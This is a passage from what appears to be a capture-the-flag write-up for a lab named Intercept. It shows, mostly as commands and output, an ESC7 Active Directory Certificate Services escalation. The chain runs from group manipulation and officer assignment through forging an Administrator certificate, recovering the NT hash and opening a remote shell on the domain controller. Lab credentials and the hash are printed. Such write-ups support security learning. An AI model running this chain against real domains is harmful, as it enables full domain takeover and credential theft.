        Enroll                          : INTERCEPT.VL\Authenticated Users
        ManageCa                        : INTERCEPT.VL\ca-managers
                                          INTERCEPT.VL\Domain Admins
                                          INTERCEPT.VL\Enterprise Admins
                                          INTERCEPT.VL\Administrators
        ManageCertificates              : INTERCEPT.VL\Domain Admins
                                          INTERCEPT.VL\Enterprise Admins
                                          INTERCEPT.VL\Administrators
Certificate Templates                   : [!] Could not find any certificate templates

.

Because of the DACL relationship, we can add Simon to the ca-managers group with:

net rpc group addmem "ca-managers" "Simon.Bowen" -U "INTERCEPT"/"Simon.Bowen"%"b0OI_fHO859+Aw" -S "10.10.239.5"

Now that Simon is in the ca-managers group, all we’ll need to do is exploit ESC7,  because we manage the CA, we can add ourselves as an officer, which will allow us to approve our own certificate requests, including certificate requests that allow us to impersonate the DA.

certipy ca -ca 'intercept-DC01-CA' -add-officer Simon.Bowen -username Simon.Bowen -password 'b0OI_fHO859+Aw' -dc-ip 10.10.239.5
┌──(puck㉿kali)-[~/vulnlab/intercept]
└─$ certipy ca -ca 'intercept-DC01-CA' -add-officer Simon.Bowen -username Simon.Bowen -password 'b0OI_fHO859+Aw' -dc-ip 10.10.134.213     
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'Simon.Bowen' on 'intercept-DC01-CA'

 

Enable the SubCA template – This certificate is configured by default to allow for authentication, therefore we should enable it to be used

┌──(puck㉿kali)-[~/vulnlab/intercept]
└─$ certipy-ad ca -ca 'intercept-DC01-CA' -username 'Simon.Bowen@intercept.vl' -password 'b0OI_fHO859+Aw' -dc-ip '10.10.134.213' -enable-template SubCA 
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'intercept-DC01-CA'

 

Now request a certificate with the userPrincipalName (uPN) of the Administrator

  • This request will get automatically denied, however, since Simon is an officer we can manually issue a certificate
┌──(puck㉿kali)-[~/vulnlab/intercept]
└─$ certipy-ad req -username 'Simon.Bowen@intercept.vl' -password 'b0OI_fHO859+Aw' -dc-ip '10.10.134.213' -ca 'intercept-DC01-CA' -template SubCA -upn 'Administrator@intercept.vl' 
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 6
[-] Got error while requesting certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
Would you like to save the private key? (y/N): y
[*] Saving private key to '6.key'
[*] Wrote private key to '6.key'
[-] Failed to request certificate

 

Issue the request

┌──(puck㉿kali)-[~/vulnlab/intercept]
└─$ certipy-ad ca -ca 'intercept-DC01-CA' -username 'Simon.Bowen@intercept.vl' -password 'b0OI_fHO859+Aw' -dc-ip '10.10.134.213' -issue-request 6      
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate request ID 6

 

Get the certificate

┌──(puck㉿kali)-[~/vulnlab/intercept]
└─$ certipy-ad req -username 'Simon.Bowen@intercept.vl' -password 'b0OI_fHO859+Aw' -dc-ip '10.10.134.213' -ca 'intercept-DC01-CA' -retrieve 6      
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Retrieving certificate with ID 6
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'Administrator@intercept.vl'
[*] Certificate has no object SID
[*] Loaded private key from '6.key'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

 

Authenticate with the PFX to the DC

┌──(puck㉿kali)-[~/vulnlab/intercept]
└─$ certipy-ad auth -pfx administrator.pfx -domain intercept.vl -username administrator -dc-ip '10.10.134.213'      
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'Administrator@intercept.vl'
[*] Using principal: 'administrator@intercept.vl'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@intercept.vl': aad3b435b51404eeaad3b435b51404ee:ad95c338a6cc5729ae7390acbe0ca91f

 

check

$ netexec smb dc01.intercept.vl -u Administrator -H ad<redacted>1f

.

┌──(puck㉿kali)-[~/vulnlab/intercept]
└─$ evil-winrm -i dc01.intercept.vl -u Administrator -H 'ad95c338a6cc5729ae7390acbe0ca91f'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> hostname
DC01

 

This was super fun.

Resources